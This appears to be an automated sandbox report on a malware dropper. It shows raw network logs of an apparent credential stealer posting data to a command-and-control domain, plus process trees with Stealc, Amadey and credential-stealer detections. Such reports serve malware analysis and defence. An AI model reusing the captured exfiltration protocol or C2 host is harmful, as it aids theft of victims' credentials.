2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 2d 2d 4a 42 31 5a 53 54 53 47 37 33 39 50 4d 4d 47 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 42 31 5a 53 54 53 47 37 33 39 50 4d 4d 47 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 42 31 5a 53 54 53 47 37 33 39 50 4d 4d 47 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --JB1ZSTSG739PMMGFContent-Disposition: form-data; name="hwid"D932FDA37AE08717BEBA0C6A975F1733--JB1ZSTSG739PMMGFContent-Disposition: form-data; name="pid"1--JB1ZSTSG739PMMGFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: fb c8 a4 41 34 20 a9 30 d5 b6 ef 6c ea c8 8d df 9c 4d 2c 04 f2 fc a0 d4 71 f4 f6 a9 f2 92 b3 07 31 cf 33 cc 1d 81 bf 04 dd e0 7d 7c 7e dc 0f 39 8c 0f b8 39 a4 33 01 28 4c a9 cf fa 96 a8 d0 e5 6b 33 bd 10 11 c9 e7 8d 8c 62 c1 e5 06 32 24 77 03 bd a4 ae 34 79 9e d4 43 00 47 36 b2 05 6b 44 93 23 1c 94 2b c3 03 12 8c ef 94 46 de 36 1c 74 86 ec 94 e6 b2 db 6c 72 d1 e3 ee 42 4f 63 37 da a1 a8 16 a6 1c f7 8a e8 df a7 1b 07 83 60 4f d8 dd 73 e6 60 7a 6d 69 7d 38 1f 5a 47 c2 3c 24 cd b6 e3 62 14 c7 ed ed 14 7a c4 aa 92 9f 5d b1 69 8e f8 12 f0 4d c4 69 84 32 b1 fe f1 06 fa 90 de f3 53 f1 26 b1 db 77 05 49 2d ba 82 1a 7f 35 f5 32 a4 5d df 37 7e c0 ae cb f0 9b ba dc c4 87 c8 3d 5f a4 47 f8 0e 44 7b c4 12 2f 9b 67 15 82 02 33 7e 93 c0 0b 1c f2 bc e0 61 bb a6 e5 8e 1a Data Ascii: A4 0lM,q13}\|~993(Lk3b2$w4yCG6kD#+F6tlrBOc7`Os`zmi}8ZG<$bz]iMi2S&wI-52]7~=_GD{/g3~a
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 5e 57 4b f8 a5 ba 1f b9 e8 25 ed a5 48 ad bf a3 98 e5 fd 2c a7 55 dd 76 24 b6 bb 3b 5d ad 9b c6 9d 16 b2 dd f5 ac 7a 5a a0 d3 49 ed 7a 35 dd ea b4 65 7f b0 97 71 ba 41 9e 50 cd 7d f4 ed 4a 43 c9 7c d5 dd ae bc 6f 8f 18 d3 a2 31 a5 28 d7 64 b5 a7 f6 b3 7e f3 44 4f 36 04 1d 04 fa 34 5d 19 f7 f8 36 9b 94 e3 18 5f cb 0e 2e 26 a8 a4 21 c8 69 fb c5 4c cb 7b 68 be b2 31 4f 04 f3 16 53 27 1e d0 93 75 c7 4e 4e ec d2 42 c3 68 42 88 7e 1b a6 bc 89 9c fd 41 87 f0 6e f3 2a 43 df 3d 4d 8c 17 f5 8e a7 ff 50 34 bc 42 7b 54 ce 5e 1e ec b6 09 91 23 49 1d 20 b8 99 f8 50 e4 e5 64 43 a2 96 de 9a 9e 90 0e d5 b1 6b d5 c5 f3 9f 94 df eb b1 9d a3 d8 da cc 3b ae 27 d9 7e 8f 4e e6 bb a7 68 3e 41 1c 2f 44 a2 21 be 6d ca 89 70 3e 81 55 b9 ae 05 81 dd 35 52 87 5f 72 ca 1f 46 91 a4 50 Data Ascii: ^WK%H,Uv$;]zZIz5eqAP}JC\|o1(d~DO64]6_.&!iL{h1OS'uNNBhB~An*C=MP4B{T^#I PdCk;'~Nh>A/D!mp>U5R_rFP
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 77 f5 5d f1 99 9b ee 2e a8 ba fe 78 83 5e 70 76 74 68 db e9 8d ed b4 43 67 d6 e2 cc de 5a 9f dd 83 60 5e f3 11 bd 20 a6 00 92 6d 9d e7 f2 4c 91 a6 3f 01 bd 87 40 7d 07 28 ad 6b 33 16 8c 6b 2c f7 bd 80 b2 1d c7 1d d4 74 ab ef 22 98 66 c1 4d 1a 99 00 52 b5 6b 4f 7e 24 d0 bb f7 35 93 89 08 96 bd fa bf 83 a8 62 c8 52 11 94 49 2c 34 b9 e5 5d 09 50 92 89 de 83 84 fa 32 30 86 dd 80 5e c8 fb 80 06 06 3b c0 ad 48 12 06 4a 3a 37 98 0d 6f bb 56 4d 4d 5c 31 b0 ef 90 59 fc cc c8 8e 85 30 ab 71 55 da fb 20 6d 6e 9b 25 a1 65 0d 35 0d 7f 3b a8 14 9d ab 4b 17 5e 2d 01 ad c6 e8 43 91 83 91 0a e8 77 0c 1d 21 80 58 04 82 2d aa 8b b6 54 f4 59 d7 43 e4 82 43 a9 14 7b af f5 2e 05 9a e2 da a9 15 b5 73 7d 51 e9 2b 72 1b 5c 20 10 a5 c5 cf 91 17 2e 5d 00 13 c8 c4 72 9e f4 08 82 eb Data Ascii: w].x^pvthCgZ`^ mL?@}(k3k,t"fMRkO~$5bRI,4]P20^;HJ:7oVMM\1Y0qU mn%e5;K^-Cw!X-TYCC{.s}Q+r\ .]r
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 2c f6 9e d5 4f 86 52 d2 c7 d7 a7 1e 61 70 8e d8 9c ad 2d a4 07 91 de ea b6 38 b0 7b fd 7b 99 8e 52 e4 fb 4f 1a 68 30 28 12 33 c5 b4 a6 05 a9 12 55 a2 12 97 2f 09 c7 57 20 64 96 27 4c c9 b3 b2 5a 0f 67 1b 0d dc 2d cd be 3d 88 b8 de 99 56 98 7b 32 e6 87 47 c1 f6 5e cf 69 87 dc ca 1b 4c 1c 3d 48 e4 0c 70 dc 86 95 1c cb 7a 10 4a 17 77 cc ad 3a 0d 7f 6e 95 18 63 93 d4 58 b5 62 79 dd a1 2a 34 14 73 e3 0c ee 3f 8b ea 8f bc 0c 72 12 d2 4b 72 30 48 75 fc 62 a5 83 2b 64 bc c0 2c e5 3d d0 c7 98 d8 78 e4 cc 59 c1 7f df a0 2b 8d 7d 71 c8 de 8b 27 d9 3a 31 4d 9a 52 fd e5 5d 64 20 e4 53 4f 6f 41 fe 92 65 d5 cd 6e 9b a9 16 59 c5 2d 49 23 af 9a e7 58 9a 4f 71 db 66 b5 23 45 77 c5 5e 30 2e 4a d9 4c 4c 9c bd d9 7d cd 0a 4e 4d 03 bf 92 f2 92 2a 65 17 63 a1 ac a0 39 27 f8 b3 Data Ascii: ,ORap-8{{ROh0(3U/W d'LZg-=V{2G^iL=HpzJw:ncXby4s?rKr0Hub+d,=xY+}q':1MR]d SOoAenY-I#XOqf#Ew^0.JLL}NMec9'
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 3d db d0 1b 6c cf b8 53 52 5b 01 48 15 eb 38 f4 f2 93 36 9b 70 95 34 6a a7 52 8e f8 45 4d 2e 0e 22 4d 71 87 75 55 33 a2 03 6b 0c c3 1a 7e 21 0b e4 a7 02 5d f4 c7 fe a8 9f dc a3 dd 56 74 fe 6b 6e da 4a e1 82 38 01 fc 72 68 ad 45 43 9c 00 a7 f8 8c 2c 45 e9 a0 64 97 32 94 f6 38 d0 db d9 a5 49 a0 69 71 b2 bb 08 8f 7f 5b 8d f4 7d 45 52 05 bf 21 a5 cd 08 58 ea b4 b5 f0 dc 3c 1d 9c a2 02 1b 5a 21 30 f2 9d 68 41 34 ab 93 2a 5b 7a 1b 20 4d 01 2d db 41 14 60 2f 15 64 f3 d6 b5 13 09 40 76 b3 92 f7 48 8d 02 ae d7 7b df a9 a0 2f b3 fd 58 1c 48 79 14 1e d2 f4 28 fc 12 60 66 ed 06 0f 65 99 da 45 b2 ff 73 9a ca 20 03 90 9f e4 19 27 2d e8 62 0a a8 07 9e 9c 0f d5 79 a6 94 73 79 eb 19 9d c2 6f 52 65 ba d7 68 a1 fa f6 8d 22 ac f7 91 30 7e f6 f5 ff cc 05 31 70 67 e9 9f 00 06 Data Ascii: =lSR[H86p4jREM."MquU3k~!]VtknJ8rhEC,Ed28Iiq[}ER!X<Z!0hA4*[z M-A`/d@vH{/XHy(`feEs '-bysyoReh"0~1pg
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 8e 26 49 d5 a8 fc fa 9e 99 e1 3f 7a dc 89 7b 6a 9f ff 67 a1 45 65 d0 70 c4 e2 cd fe 41 88 51 08 90 e6 c5 81 e8 ae 8c 41 0b 0c 5c 59 0c 90 60 f0 d6 47 10 8b 81 43 6b ab b5 00 8e de 15 a9 c8 14 ba da 0f 6c 33 5d ac 2b 01 e9 51 34 5c a1 8c 8e be 3c 29 c5 3e a0 75 db 20 e7 eb 4f bc 0f 36 66 14 eb 7e b4 30 7a 73 8f d5 3d 3e 2b 40 f6 3c 4b 16 1e 17 5f ff 7c 1e f6 72 f3 de 48 dd 48 55 4b cc 37 31 46 aa bc 72 c2 a4 74 ea ca ea 21 b2 8b b5 20 90 e3 bf 2e 30 ad c6 54 c3 47 9d a7 78 a9 17 a3 72 d5 6d 87 94 d3 c2 55 11 4b 80 95 ee 38 b0 45 07 1d 0e a8 20 a4 bb cb bf 45 7c 69 63 df 6a 22 dc 5a 81 c4 b6 39 74 3c ad ad f5 cf 83 73 d4 28 ea d1 96 6e e5 7b 33 6f ea c4 28 84 0a 5c 89 06 e6 67 ad 98 17 66 25 df 7c 37 07 66 e0 1c d9 f9 6f 4f a4 72 28 47 cd 4f fb 61 f7 ec 3f Data Ascii: &I?z{jgEepAQA\Y`GCkl3]+Q4\<)>u O6f~0zs=>+@<K_\|rHHUK71Frt! .0TGxrmUK8E E\|icj"Z9t<s(n{3o(\gf%\|7foOr(GOa?
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 6c 41 2e eb 08 86 01 a2 f2 b1 a5 fb 2c 98 55 a2 06 26 6a 29 4d 27 e9 ca e7 d5 ca 30 8c cc cd f4 07 28 6b e9 5c c9 f1 e6 a0 d5 73 b9 ed a7 08 ff 74 6c 7c 6a 21 04 63 aa 27 e1 11 a2 2a 4b 08 b4 3a 27 f1 5a 7e 24 04 ba ef e0 35 6f 4b f7 9e e7 a6 b3 ec bc e1 9f 72 1f 9a 88 6e d1 e8 9b 33 42 48 8b b1 a5 04 af 9e db a3 0c 29 3f 6c 64 84 67 ec b5 9e 52 16 36 93 d8 58 0a c7 30 8c 3e a5 82 34 5a 8a a6 89 df ea 63 07 fb 4e c9 b5 73 a0 10 74 d7 43 ad 4a d0 f5 90 bb ca cc ac 64 de 4f 57 af d6 ea 63 8f 1c 90 b8 a3 20 2d c5 9f 8c 61 1c 6e f1 f5 e6 77 7f b3 ca 68 5f ef 36 2b 8c 10 14 d0 00 95 1d 47 31 7f 5c 15 ac 46 5e 64 78 92 a5 04 e5 c2 0d 43 c5 4d ee af ef d1 85 80 03 3a ec e3 71 ca 91 ab 0f 22 1e 60 71 e9 59 ae c7 c2 42 53 3a f4 e8 99 81 df ff ca ee de 08 fc 5b ef Data Ascii: lA.,U&j)M'0(k\stl\|j!c'*K:'Z~$5oKrn3BH)?ldgR6X0>4ZcNstCJdOWc -anwh_6+G1\F^dxCM:q"`qYBS:[
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 5a 0f 04 31 dd dc 07 81 e0 c5 5e 19 62 1a 29 f5 0f f7 44 3c 92 89 65 61 12 7d e7 54 64 8e 25 39 9a 29 97 08 62 be e0 8b b5 ed 3b ef 9c 63 5a 7c 41 8a 68 12 bc 47 5d 5d 93 22 15 a0 3d 63 93 ae d4 9c 19 cc f9 d2 eb 3e bb f1 e9 5c f4 80 50 71 84 04 f1 4a 38 6e 54 ff ff f5 23 c8 65 70 2f 28 d6 28 ba 19 51 f5 b8 14 19 05 3b 21 0a 86 f9 cd 8b 0e b4 67 07 e4 13 ea 21 d6 ca 39 68 ed f9 3b 9f a3 bf 09 41 1a b8 03 50 33 a9 ed e6 a8 fa 24 5e f3 67 4e 79 d8 d1 0c 31 83 eb ff 3e f0 0f fa e2 e2 bf 76 3b 74 28 83 9c 72 60 35 b7 0b d5 9c 77 a7 f7 e5 64 4b f0 98 f1 61 ad b0 86 fa 9d 13 af 96 20 d6 4d c3 10 0c 63 34 3c bc 05 94 ad 65 fd 90 06 33 d1 ff e7 38 0f e5 c5 82 45 3b 88 7a c3 14 66 e5 f1 79 61 c4 0e 41 fe 95 c4 11 5b 1d f0 3a 2a 19 1a c4 69 e7 2a 3f 60 88 a1 7a bf Data Ascii: Z1^b)D<ea}Td%9)b;cZ\|AhG]]"=c>\PqJ8nT#ep/((Q;!g!9h;AP3$^gNy1>v;t(r`5wdKa Mc4<e38E;zfyaA[:i?`z
2024-12-27 08:01:35 UTC	15331	OUT	Data Raw: 5c 71 79 34 f6 d5 86 ba 5b 58 b6 21 e8 7f e1 df fc e0 e7 ef 9e 0f 4f ac 03 81 b7 65 fc 77 bd 0b 5b 9f e8 83 a8 a1 20 23 75 90 61 21 dd 77 b7 57 ab cf 92 1a e6 e6 c7 7f 6c 29 ee ec 46 b1 df 2c ae 81 12 97 6c 40 4f 3b 9d 11 e6 86 84 7e f4 96 9d c9 82 f7 97 ce 3d 33 38 f1 ee 2b 5a f9 f2 8f 54 1d e9 3f 06 ff e6 1c cf 60 ce 5a f7 e5 7b 8b 9a b2 d4 77 f7 33 53 b3 23 c5 e3 a6 1f e9 ec e0 5b e7 74 71 8e 54 9e 09 ac 7c a6 0c 66 d4 d0 f1 f7 0e ac 65 27 39 ef ac 34 fa 69 4b 3e ee c4 ea f9 50 fc e9 12 d2 75 1d 78 be 19 9a ac 14 7f 28 0f 7a 3f 41 1e 68 be 8e d8 52 ea 9a 99 71 f6 6d 31 53 6f 85 92 39 ba a7 99 e3 5d 24 4d 8c f8 bc 70 d1 23 4b e8 57 9b 18 98 a2 f6 55 94 99 73 5f 99 3e 3c 73 be 08 9d 98 0f c8 7b ca 79 49 c4 2c 40 d0 23 55 41 a1 5e 36 73 09 3b 80 e3 90 d2 Data Ascii: \qy4[X!Oew[ #ua!wWl)F,l@O;~=38+ZT?`Z{w3S#[tqT\|fe'94iK>Pux(z?AhRqm1So9]$Mp#KWUs_><s{yI,@#UA^6s;
2024-12-27 08:01:40 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pethder1eg5137ji65vp7m90e8; expires=Tue, 22 Apr 2025 01:48:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t5NuY6GK%2FbnfkqBg4MvXs7dKwhf%2BCVajghrpILOtIm9y8Vsdif6q2hxZV0Jd6nbnesHjf3dU7qfc6SKBDx2g57AoXvofhhLHrA%2BVFrnBJTh8Ca9xkvtglpJ1MthpkSxeQeo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c895ab6543a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1550&rtt_var=604&sent=366&recv=595&lost=0&retrans=0&sent_bytes=2836&recv_bytes=573281&delivery_rate=1777236&cwnd=232&unsent_bytes=0&cid=6aa2deeb69d7fdcb&ts=5169&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49870	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:41 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 08:01:41 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=D932FDA37AE08717BEBA0C6A975F1733
2024-12-27 08:01:42 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kq9gfmn9rgi84902nuib76prgs; expires=Tue, 22 Apr 2025 01:48:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OYE1TG94BqteFUk5HMS5%2FbXJdQ9p4%2BbvSShMtPWTKfIioTSIcd1dz0Y9UnEQvIA4FTxWgA9k5aMm8M95qRLXroo3lXa4ptBS6VJl6wtuOn1loIef3uXtT0pwkU4TXEYoG08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c8be79485e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=2130&rtt_var=809&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=987&delivery_rate=1343146&cwnd=209&unsent_bytes=0&cid=8e8a9af378733701&ts=775&x=0"
2024-12-27 08:01:42 UTC	210	IN	Data Raw: 63 63 0d 0a 58 78 64 62 6f 50 4e 39 63 74 35 39 71 79 79 7a 6e 4d 33 70 78 2b 78 78 77 67 33 39 56 35 71 61 69 55 30 6d 44 52 2b 66 36 35 67 45 62 48 6e 56 30 55 64 51 74 67 6e 66 58 49 6e 41 34 72 58 6f 33 55 6e 33 49 38 39 6d 72 37 53 34 66 42 55 6a 4c 71 6d 33 74 7a 42 78 50 66 7a 63 47 52 65 34 55 38 35 55 31 72 37 68 79 36 47 59 55 2f 67 39 30 58 58 2f 75 4c 4e 38 57 79 46 6b 76 5a 36 36 5a 54 55 7a 31 49 63 4e 53 49 4a 53 39 77 4f 43 70 50 6a 48 39 64 31 45 37 44 7a 4d 5a 4c 53 72 76 78 45 4a 59 6e 6e 35 74 37 63 37 63 6a 32 4f 6c 67 55 58 2f 46 47 4a 53 73 65 2b 39 39 6e 72 7a 68 54 67 4e 38 30 71 78 77 3d 3d 0d 0a Data Ascii: ccXxdboPN9ct59qyyznM3px+xxwg39V5qaiU0mDR+f65gEbHnV0UdQtgnfXInA4rXo3Un3I89mr7S4fBUjLqm3tzBxPfzcGRe4U85U1r7hy6GYU/g90XX/uLN8WyFkvZ66ZTUz1IcNSIJS9wOCpPjH9d1E7DzMZLSrvxEJYnn5t7c7cj2OlgUX/FGJSse+99nrzhTgN80qxw==
2024-12-27 08:01:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:59:49
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\LIWYEYWSOj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LIWYEYWSOj.exe"
Imagebase:	0xc10000
File size:	1'850'368 bytes
MD5 hash:	63E1EE575307E1EDD1E0B7357A5BAFED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:00:23
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe"
Imagebase:	0x7ff70f330000
File size:	5'242'880 bytes
MD5 hash:	17D940E3012D0A3589F9DCB08CB8AACB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2093689784.0000000000671000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2096558340.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:00:29
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe"
Imagebase:	0x250000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:00:33
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc30000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:01:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc30000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:01:16
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe"
Imagebase:	0x3f0000
File size:	2'902'528 bytes
MD5 hash:	9B57FB40CC559ECAC791F39CA8916ED8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2711473720.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2711392422.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2731516300.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:01:51
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0fd4b3a5d7.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:01:52
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2304,i,17553584691011847469,12991288075478570278,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 0144190C Relevance: 3.3, Strings: 2, Instructions: 796COMMON

Download Yara Rule

Strings

jone, xrefs: 01442128
jone, xrefs: 01441E10

Memory Dump Source

Source File: 00000000.00000003.1879438651.0000000001439000.00000004.00000020.00020000.00000000.sdmp, Offset: 01439000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1433000_LIWYEYWSOj.jbxd

Similarity

API ID:
String ID: jone$jone
API String ID: 0-1086899602
Opcode ID: ae868a52c6a498d8241b2b3fea36eb89cf61daf03a4e3c893b809d76ba272dee
Instruction ID: efffffc8733b19fa95266a813481904d7068cf836b9b9cef3c82f895fac6cfa2
Opcode Fuzzy Hash: ae868a52c6a498d8241b2b3fea36eb89cf61daf03a4e3c893b809d76ba272dee
Instruction Fuzzy Hash: DA72007184E3C18FD3578B7488696917FB0AF13624B0E42EBC4D5CF1B3E269584ACB66

Function 013E0889 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

Y, xrefs: 013E092C

Memory Dump Source

Source File: 00000000.00000003.1836308583.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013DF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_13df000_LIWYEYWSOj.jbxd

Similarity

API ID:
String ID: Y
API String ID: 0-3233089245
Opcode ID: e34915f0d78766cf48b00d7731d179f3a99810085387717f18da740641667536
Instruction ID: fa7cc47297afe071127dc7579db73110f0a84d6576ea346eb75c9eaa9c93cfb6
Opcode Fuzzy Hash: e34915f0d78766cf48b00d7731d179f3a99810085387717f18da740641667536
Instruction Fuzzy Hash: 30B1222514E7C15FE3078B749E612817FB0AE1322872E85CBC1C0CF5F3CA596A9AD762

Analysis Process: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exePID: 1456, Parent PID: 6968COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.4%
Total number of Nodes:	563
Total number of Limit Nodes:	20

Executed Functions

Function 00255C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,CE3D70BB,CE3D70BB), ref: 00255DCC
RegQueryValueExA.KERNEL32(CE3D70BB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,CE3D70BB,CE3D70BB), ref: 00255DFA
